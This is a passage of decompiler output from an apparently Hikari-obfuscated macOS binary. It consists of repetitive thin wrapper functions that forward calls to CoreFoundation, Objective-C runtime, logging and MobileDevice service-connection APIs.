return HikariFunctionWrapper_16912(a1, a2, a3, a4);
}
//----- (000000010021C490) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16914(
__CFDictionary *a1,
const void *a2,
const void *a3)
{
CFDictionarySetValue(a1, a2, a3);
}
//----- (000000010021C4A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16915(
__CFDictionary *a1,
const void *a2,
const void *a3)
{
HikariFunctionWrapper_16914(a1, a2, a3);
}
//----- (000000010021C4B0) ----------------------------------------------------
CFDataRef __fastcall HikariFunctionWrapper_16916(
const __CFAllocator *a1,
const void *a2,
CFPropertyListFormat a3,
CFOptionFlags a4,
CFErrorRef *a5)
{
return CFPropertyListCreateData(a1, a2, a3, a4, a5);
}
//----- (000000010021C4C0) ----------------------------------------------------
CFDataRef __fastcall HikariFunctionWrapper_16917(
const __CFAllocator *a1,
const void *a2,
CFPropertyListFormat a3,
CFOptionFlags a4,
CFErrorRef *a5)
{
return HikariFunctionWrapper_16916(a1, a2, a3, a4, a5);
}
//----- (000000010021C4D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16918(const void *a1)
{
CFRelease(a1);
}
//----- (000000010021C4E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16919(const void *a1)
{
HikariFunctionWrapper_16918(a1);
}
//----- (000000010021C4F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16920(__int64 a1)
{
return AMDServiceConnectionSend(a1);
}
// 100256150: using guessed type __int64 __fastcall AMDServiceConnectionSend(_QWORD);
//----- (000000010021C500) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16921(__int64 a1)
{
return HikariFunctionWrapper_16920(a1);
}
//----- (000000010021C510) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16922(__int64 a1)
{
return AMDServiceConnectionReceive(a1);
}
// 10025614A: using guessed type __int64 __fastcall AMDServiceConnectionReceive(_QWORD);
//----- (000000010021C520) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16923(__int64 a1)
{
return HikariFunctionWrapper_16922(a1);
}
//----- (000000010021C530) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16924(__int64 a1)
{
return AMDServiceConnectionReceive(a1);
}
// 10025614A: using guessed type __int64 __fastcall AMDServiceConnectionReceive(_QWORD);
//----- (000000010021C540) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16925(__int64 a1)
{
return HikariFunctionWrapper_16924(a1);
}
//----- (000000010021C550) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16926(void *a1)
{
free(a1);
}
//----- (000000010021C560) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16927(void *a1)
{
HikariFunctionWrapper_16926(a1);
}
//----- (000000010021C570) ----------------------------------------------------
CFTypeID __fastcall HikariFunctionWrapper_16928(const void *a1)
{
return CFGetTypeID(a1);
}
//----- (000000010021C580) ----------------------------------------------------
CFTypeID __fastcall HikariFunctionWrapper_16929(const void *a1)
{
return HikariFunctionWrapper_16928(a1);
}
//----- (000000010021C590) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16930(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021C5A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16931(NSString *a1)
{
HikariFunctionWrapper_16930(a1);
}
//----- (000000010021C5B0) ----------------------------------------------------
const void *__fastcall HikariFunctionWrapper_16932(const __CFDictionary *a1, const void *a2)
{
return CFDictionaryGetValue(a1, a2);
}
//----- (000000010021C5C0) ----------------------------------------------------
const void *__fastcall HikariFunctionWrapper_16933(const __CFDictionary *a1, const void *a2)
{
return HikariFunctionWrapper_16932(a1, a2);
}
//----- (000000010021C5D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16934(const void *a1)
{
CFRelease(a1);
}
//----- (000000010021C5E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16935(const void *a1)
{
HikariFunctionWrapper_16934(a1);
}
//----- (000000010021C5F0) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_16936(size_t a1)
{
return malloc(a1);
}
//----- (000000010021C600) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_16937(size_t a1)
{
return HikariFunctionWrapper_16936(a1);
}
//----- (000000010021C610) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_16938(size_t a1)
{
return malloc(a1);
}
//----- (000000010021C620) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_16939(size_t a1)
{
return HikariFunctionWrapper_16938(a1);
}
//----- (000000010021C630) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16940(
const __CFDictionary *a1,
const void **a2,
const void **a3)
{
CFDictionaryGetKeysAndValues(a1, a2, a3);
}
//----- (000000010021C640) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16941(
const __CFDictionary *a1,
const void **a2,
const void **a3)
{
HikariFunctionWrapper_16940(a1, a2, a3);
}
//----- (000000010021C650) ----------------------------------------------------
const void *__fastcall HikariFunctionWrapper_16942(const __CFDictionary *a1, const void *a2)
{
return CFDictionaryGetValue(a1, a2);
}
//----- (000000010021C660) ----------------------------------------------------
const void *__fastcall HikariFunctionWrapper_16943(const __CFDictionary *a1, const void *a2)
{
return HikariFunctionWrapper_16942(a1, a2);
}
//----- (000000010021C670) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16944(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C680) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16945(void *a1, const char *a2)
{
return HikariFunctionWrapper_16944(a1, a2);
}
//----- (000000010021C690) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16946()
{
AMDServiceConnectionInvalidate();
}
// 100256144: using guessed type __int64 AMDServiceConnectionInvalidate(void);
//----- (000000010021C6A0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16947()
{
HikariFunctionWrapper_16946();
}
//----- (000000010021C6B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16948(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021C6C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16949(NSString *a1)
{
HikariFunctionWrapper_16948(a1);
}
//----- (000000010021C6D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16950(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C6E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16951(void *a1, const char *a2)
{
return HikariFunctionWrapper_16950(a1, a2);
}
//----- (000000010021C6F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16952(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C700) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16953(void *a1, const char *a2)
{
return HikariFunctionWrapper_16952(a1, a2);
}
//----- (000000010021C710) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16954(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C720) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16955(void *a1, const char *a2)
{
return HikariFunctionWrapper_16954(a1, a2);
}
//----- (000000010021C730) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16956(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021C740) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16957(void *a1, const char *a2)
{
HikariFunctionWrapper_16956(a1, a2);
}
//----- (000000010021C750) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16958(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021C760) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16959(NSString *a1)
{
HikariFunctionWrapper_16958(a1);
}
//----- (000000010021C770) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16960(__int64 a1)
{
return AMDServiceConnectionReceive(a1);
}
// 10025614A: using guessed type __int64 __fastcall AMDServiceConnectionReceive(_QWORD);
//----- (000000010021C780) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16961(__int64 a1)
{
return HikariFunctionWrapper_16960(a1);
}
//----- (000000010021C790) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16962()
{
AMDServiceConnectionInvalidate();
}
// 100256144: using guessed type __int64 AMDServiceConnectionInvalidate(void);
//----- (000000010021C7A0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16963()
{
HikariFunctionWrapper_16962();
}
//----- (000000010021C7B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16964(void *a1)
{
free(a1);
}
//----- (000000010021C7C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16965(void *a1)
{
HikariFunctionWrapper_16964(a1);
}
//----- (000000010021C7D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16966(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C7E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16967(void *a1, const char *a2)
{
return HikariFunctionWrapper_16966(a1, a2);
}
//----- (000000010021C7F0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16968()
{
AMDServiceConnectionInvalidate();
}
// 100256144: using guessed type __int64 AMDServiceConnectionInvalidate(void);
//----- (000000010021C800) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16969()
{
HikariFunctionWrapper_16968();
}
//----- (000000010021C810) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16970(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021C820) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16971(NSString *a1)
{
HikariFunctionWrapper_16970(a1);
}
//----- (000000010021C830) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16972(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C840) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16973(void *a1, const char *a2)
{
return HikariFunctionWrapper_16972(a1, a2);
}
//----- (000000010021C850) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16974(void *a1)
{
free(a1);
}
//----- (000000010021C860) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16975(void *a1)
{
HikariFunctionWrapper_16974(a1);
}
//----- (000000010021C870) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16976(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C880) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16977(void *a1, const char *a2)
{
return HikariFunctionWrapper_16976(a1, a2);
}
//----- (000000010021C890) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16978(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021C8A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16979(void *a1, const char *a2)
{
HikariFunctionWrapper_16978(a1, a2);
}
//----- (000000010021C8B0) ----------------------------------------------------
NSString *HikariFunctionWrapper_16980()
{
return NSTemporaryDirectory();
}
//----- (000000010021C8C0) ----------------------------------------------------
NSString *HikariFunctionWrapper_16981()
{
return HikariFunctionWrapper_16980();
}
//----- (000000010021C8D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16982(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C8E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16983(void *a1, const char *a2)
{
return HikariFunctionWrapper_16982(a1, a2);
}
//----- (000000010021C8F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16984(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C900) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16985(void *a1, const char *a2)
{
return HikariFunctionWrapper_16984(a1, a2);
}
//----- (000000010021C910) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16986(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021C920) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16987(void *a1, const char *a2)
{
HikariFunctionWrapper_16986(a1, a2);
}
//----- (000000010021C930) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16988(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021C940) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16989(void *a1, const char *a2)
{
HikariFunctionWrapper_16988(a1, a2);
}
//----- (000000010021C950) ----------------------------------------------------
NSString *HikariFunctionWrapper_16990()
{
return NSTemporaryDirectory();
}
//----- (000000010021C960) ----------------------------------------------------
NSString *HikariFunctionWrapper_16991()
{
return HikariFunctionWrapper_16990();
}
//----- (000000010021C970) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16992(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C980) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16993(void *a1, const char *a2)
{
return HikariFunctionWrapper_16992(a1, a2);
}
//----- (000000010021C990) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16994(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C9A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16995(void *a1, const char *a2)
{
return HikariFunctionWrapper_16994(a1, a2);
}
//----- (000000010021C9B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16996(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C9C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16997(void *a1, const char *a2)
{
return HikariFunctionWrapper_16996(a1, a2);
}
//----- (000000010021C9D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16998(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C9E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16999(void *a1, const char *a2)
{
return HikariFunctionWrapper_16998(a1, a2);
}
//----- (000000010021C9F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17000(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021CA00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17001(NSString *a1)
{
HikariFunctionWrapper_17000(a1);
}
//----- (000000010021CA10) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17002(__int64 a1)
{
return AMDeviceSecureStartService(a1);
}
// 100256186: using guessed type __int64 __fastcall AMDeviceSecureStartService(_QWORD);
//----- (000000010021CA20) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17003(__int64 a1)
{
return HikariFunctionWrapper_17002(a1);
}
//----- (000000010021CA30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17004(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021CA40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17005(void *a1, const char *a2)
{
HikariFunctionWrapper_17004(a1, a2);
}
//----- (000000010021CA50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17006(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CA60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17007(void *a1, const char *a2)
{
return HikariFunctionWrapper_17006(a1, a2);
}
//----- (000000010021CA70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17008(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021CA80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17009(void *a1, const char *a2)
{
HikariFunctionWrapper_17008(a1, a2);
}
//----- (000000010021CA90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17010(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021CAA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17011(void *a1, const char *a2)
{
HikariFunctionWrapper_17010(a1, a2);
}
//----- (000000010021CAB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17012(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021CAC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17013(NSString *a1)
{
HikariFunctionWrapper_17012(a1);
}
//----- (000000010021CAD0) ----------------------------------------------------
CFIndex __fastcall HikariFunctionWrapper_17014(const __CFData *a1)
{
return CFDataGetLength(a1);
}
//----- (000000010021CAE0) ----------------------------------------------------
CFIndex __fastcall HikariFunctionWrapper_17015(const __CFData *a1)
{
return HikariFunctionWrapper_17014(a1);
}
//----- (000000010021CAF0) ----------------------------------------------------
const UInt8 *__fastcall HikariFunctionWrapper_17016(const __CFData *a1)
{
return CFDataGetBytePtr(a1);
}
//----- (000000010021CB00) ----------------------------------------------------
const UInt8 *__fastcall HikariFunctionWrapper_17017(const __CFData *a1)
{
return HikariFunctionWrapper_17016(a1);
}
//----- (000000010021CB10) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17018()
{
AMDServiceConnectionInvalidate();
}
// 100256144: using guessed type __int64 AMDServiceConnectionInvalidate(void);
//----- (000000010021CB20) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17019()
{
HikariFunctionWrapper_17018();
}
//----- (000000010021CB30) ----------------------------------------------------
CFDataRef __fastcall HikariFunctionWrapper_17020(const __CFAllocator *a1, const UInt8 *a2, CFIndex a3)
{
return CFDataCreate(a1, a2, a3);
}
//----- (000000010021CB40) ----------------------------------------------------
CFDataRef __fastcall HikariFunctionWrapper_17021(const __CFAllocator *a1, const UInt8 *a2, CFIndex a3)
{
return HikariFunctionWrapper_17020(a1, a2, a3);
}
//----- (000000010021CB50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17022(void *a1)
{
free(a1);
}
//----- (000000010021CB60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17023(void *a1)
{
HikariFunctionWrapper_17022(a1);
}
//----- (000000010021CB70) ----------------------------------------------------
CFPropertyListRef __fastcall HikariFunctionWrapper_17024(
const __CFAllocator *a1,
const __CFData *a2,
CFOptionFlags a3,
CFPropertyListFormat *a4,
CFErrorRef *a5)
{
return CFPropertyListCreateWithData(a1, a2, a3, a4, a5);
}
//----- (000000010021CB80) ----------------------------------------------------
CFPropertyListRef __fastcall HikariFunctionWrapper_17025(
const __CFAllocator *a1,
const __CFData *a2,
CFOptionFlags a3,
CFPropertyListFormat *a4,
CFErrorRef *a5)
{
return HikariFunctionWrapper_17024(a1, a2, a3, a4, a5);
}
//----- (000000010021CB90) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17026()
{
AMDServiceConnectionInvalidate();
}
// 100256144: using guessed type __int64 AMDServiceConnectionInvalidate(void);
//----- (000000010021CBA0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17027()
{
HikariFunctionWrapper_17026();
}
//----- (000000010021CBB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17028(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CBC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17029(void *a1, const char *a2)
{
return HikariFunctionWrapper_17028(a1, a2);
}
//----- (000000010021CBD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17030(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021CBE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17031(void *a1, const char *a2)
{
HikariFunctionWrapper_17030(a1, a2);
}
//----- (000000010021CBF0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17032(__int64 a1)
{
return AMDServiceConnectionReceive(a1);
}
// 10025614A: using guessed type __int64 __fastcall AMDServiceConnectionReceive(_QWORD);
//----- (000000010021CC00) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17033(__int64 a1)
{
return HikariFunctionWrapper_17032(a1);
}
//----- (000000010021CC10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17034(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021CC20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17035(void *a1, const char *a2)
{
HikariFunctionWrapper_17034(a1, a2);
}
//----- (000000010021CC30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17036(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CC40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17037(void *a1, const char *a2)
{
return HikariFunctionWrapper_17036(a1, a2);
}
//----- (000000010021CC50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17038(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CC60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17039(void *a1, const char *a2)
{
return HikariFunctionWrapper_17038(a1, a2);
}
//----- (000000010021CC70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17040(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010021CC80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17041(objc_class *a1)
{
return HikariFunctionWrapper_17040(a1);
}
//----- (000000010021CC90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17042(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CCA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17043(void *a1, const char *a2)
{
return HikariFunctionWrapper_17042(a1, a2);
}
//----- (000000010021CCB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17044(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021CCC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17045(void *a1, const char *a2)
{
HikariFunctionWrapper_17044(a1, a2);
}
//----- (000000010021CCD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17046(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CCE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17047(void *a1, const char *a2)
{
return HikariFunctionWrapper_17046(a1, a2);
}
//----- (000000010021CCF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17048(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CD00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17049(void *a1, const char *a2)
{
return HikariFunctionWrapper_17048(a1, a2);
}
//----- (000000010021CD10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17050(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021CD20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17051(void *a1, const char *a2)
{
HikariFunctionWrapper_17050(a1, a2);
}
//----- (000000010021CD30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17052(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021CD40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17053(void *a1, const char *a2)
{
HikariFunctionWrapper_17052(a1, a2);
}
//----- (000000010021CD50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17054(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CD60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17055(void *a1, const char *a2)
{
return HikariFunctionWrapper_17054(a1, a2);
}
//----- (000000010021CD70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17056(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CD80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17057(void *a1, const char *a2)
{
return HikariFunctionWrapper_17056(a1, a2);
}
//----- (000000010021CD90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17058(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CDA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17059(void *a1, const char *a2)
{
return HikariFunctionWrapper_17058(a1, a2);
}
//----- (000000010021CDB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17060(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CDC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17061(void *a1, const char *a2)
{
return HikariFunctionWrapper_17060(a1, a2);
}
//----- (000000010021CDD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17062(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021CDE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17063(void *a1)
{
HikariFunctionWrapper_17062(a1);
}
//----- (000000010021CDF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17064(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CE00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17065(void *a1, const char *a2)
{
return HikariFunctionWrapper_17064(a1, a2);
}
//----- (000000010021CE10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17066(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021CE20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17067(void *a1)
{
HikariFunctionWrapper_17066(a1);
}
//----- (000000010021CE30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17068(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CE40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17069(void *a1, const char *a2)
{
return HikariFunctionWrapper_17068(a1, a2);
}
//----- (000000010021CE50) ----------------------------------------------------
